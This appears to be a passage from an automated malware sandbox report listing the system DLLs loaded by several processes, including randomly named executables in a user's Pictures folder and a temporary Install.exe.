Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: sensapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: peerdist.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Section loaded: msvcr100.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usosvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: updatepolicy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usocoreps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usoapi.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: acgenral.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: samcli.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: mpr.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: aclayers.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: sfc.dll
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: wininet.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: activeds.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: dssec.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: mpr.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: authz.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: webio.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: schannel.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: amsi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: bcp47langs.dll
